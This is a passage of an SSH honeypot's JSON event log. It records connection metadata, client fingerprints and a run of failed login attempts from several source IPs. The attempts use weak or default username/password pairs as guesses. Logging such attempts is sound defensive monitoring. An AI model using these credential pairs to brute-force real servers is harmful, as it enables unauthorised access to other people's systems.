sh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:02:23.867587Z","src_ip":"141.11.88.14","session":"fd2427b78e56","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:02:24.011988Z","src_ip":"103.176.20.57","session":"a1b34e111416","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hadoop","password":"123456","message":"login attempt [hadoop/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:02:24.457631Z","src_ip":"141.11.88.14","session":"fd2427b78e56","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:02:25.597323Z","src_ip":"141.11.88.14","session":"fd2427b78e56","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":53502,"dst_ip":"10.17.0.5","dst_port":22,"session":"cb266b15468a","protocol":"ssh","message":"New connection: 141.11.88.14:53502 (10.17.0.5:22) [session: cb266b15468a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:02:29.275672Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:02:29.805009Z","src_ip":"141.11.88.14","session":"cb266b15468a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:02:29.808693Z","src_ip":"141.11.88.14","session":"cb266b15468a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bpadmin","password":"bpadmin","message":"login attempt [bpadmin/bpadmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:02:31.398491Z","src_ip":"141.11.88.14","session":"cb266b15468a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.2","message":"Connection lost after 3.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:02:32.505762Z","src_ip":"141.11.88.14","session":"cb266b15468a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":53558,"dst_ip":"10.17.0.5","dst_port":22,"session":"5e6a7efc6a9f","protocol":"ssh","message":"New connection: 141.11.88.14:53558 (10.17.0.5:22) [session: 5e6a7efc6a9f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:02:37.481666Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:02:37.552722Z","src_ip":"141.11.88.14","session":"5e6a7efc6a9f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:02:37.601582Z","src_ip":"141.11.88.14","session":"5e6a7efc6a9f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"211.253.37.225","src_port":51330,"dst_ip":"159.203.135.109","dst_port":22,"session":"9523d51890bc","protocol":"ssh","message":"New connection: 211.253.37.225:51330 (159.203.135.109:22) [session: 9523d51890bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:02:38.015117Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:02:38.022887Z","src_ip":"211.253.37.225","session":"9523d51890bc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dm","password":"dm","message":"login attempt [dm/dm] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:02:38.077674Z","src_ip":"141.11.88.14","session":"5e6a7efc6a9f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:02:38.231299Z","src_ip":"211.253.37.225","session":"9523d51890bc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"197.5.145.150","src_port":38884,"dst_ip":"10.17.0.5","dst_port":22,"session":"7965195fde2c","protocol":"ssh","message":"New connection: 197.5.145.150:38884 (10.17.0.5:22) [session: 7965195fde2c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:02:38.397398Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:02:38.406057Z","src_ip":"197.5.145.150","session":"7965195fde2c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:02:38.525818Z","src_ip":"197.5.145.150","session":"7965195fde2c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"Pa$$w0rd","message":"login attempt [admin/Pa$$w0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:02:39.009817Z","src_ip":"197.5.145.150","session":"7965195fde2c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.113.233.25","src_port":46724,"dst_ip":"159.203.135.109","dst_port":22,"session":"93bf12cc9f01","protocol":"ssh","message":"New connection: 194.113.233.25:46724 (159.203.135.109:22) [session: 93bf12cc9f01]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:02:39.120489Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:02:39.126325Z","src_ip":"194.113.233.25","session":"93bf12cc9f01","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:02:39.212609Z","src_ip":"194.113.233.25","session":"93bf12cc9f01","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"oz","password":"oz","message":"login attempt [oz/oz] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:02:39.221005Z","src_ip":"211.253.37.225","session":"9523d51890bc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:02:39.224624Z","src_ip":"141.11.88.14","session":"5e6a7efc6a9f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"10101995","message":"login attempt [root/10101995] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:02:39.471590Z","src_ip":"194.113.233.25","session":"93bf12cc9f01","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:02:40.127057Z","src_ip":"197.5.145.150","session":"7965195fde2c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:02:40.522759Z","src_ip":"211.253.37.225","session":"9523d51890bc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:02:40.605408Z","src_ip":"194.113.233.25","session":"93bf12cc9f01","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.765270948410034,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:02:42.599651Z","src_ip":"128.199.8.54","session":"fc846b1ff3d2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":34202,"dst_ip":"10.17.0.5","dst_port":22,"session":"fe63bfdacb88","protocol":"ssh","message":"New connection: 141.11.88.14:34202 (10.17.0.5:22) [session: fe63bfdacb88]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:02:43.160860Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:02:43.449244Z","src_ip":"141.11.88.14","session":"fe63bfdacb88","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:02:43.454643Z","src_ip":"141.11.88.14","session":"fe63bfdacb88","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa111111.","message":"login attempt [root/Aa111111.] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:02:44.537455Z","src_ip":"141.11.88.14","session":"fe63bfdacb88","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:02:45.633575Z","src_ip":"141.11.88.14","session":"fe63bfdacb88","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":21464,"dst_ip":"10.17.0.5","dst_port":22,"session":"98b0f39e535e","protocol":"ssh","message":"New connection: 141.11.88.14:21464 (10.17.0.5:22) [session: 98b0f39e535e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:02:48.685667Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:02:48.841147Z","src_ip":"141.11.88.14","session":"98b0f39e535e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:02:48.845970Z","src_ip":"141.11.88.14","session":"98b0f39e535e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Contabo2026","message":"login attempt [root/Contabo2026] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:02:49.897735Z","src_ip":"141.11.88.14","session":"98b0f39e535e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:02:51.165438Z","src_ip":"141.11.88.14","session":"98b0f39e535e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"141.11.88.14","src_port":21488,"dst_ip":"10.17.0.5","dst_port":22,"session":"d0738b03d287","protocol":"ssh","message":"New connection: 141.11.88.14:21488 (10.17.0.5:22) [session: d0738b03d287]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:02:55.995846Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:02:56.000511Z","src_ip":"141.11.88.14","session":"d0738b03d287","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:02:56.141717Z","src_ip":"141.11.88.14","session":"d0738b03d287","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234abcd","message":"login attempt [root/1234abcd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:02:56.665937Z","src_ip":"141.11.88.14","session":"d0738b03d287","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T18:02:57.816122Z","src_ip":"141.11.88.14","session":"d0738b03d287","protocol":"ssh"}
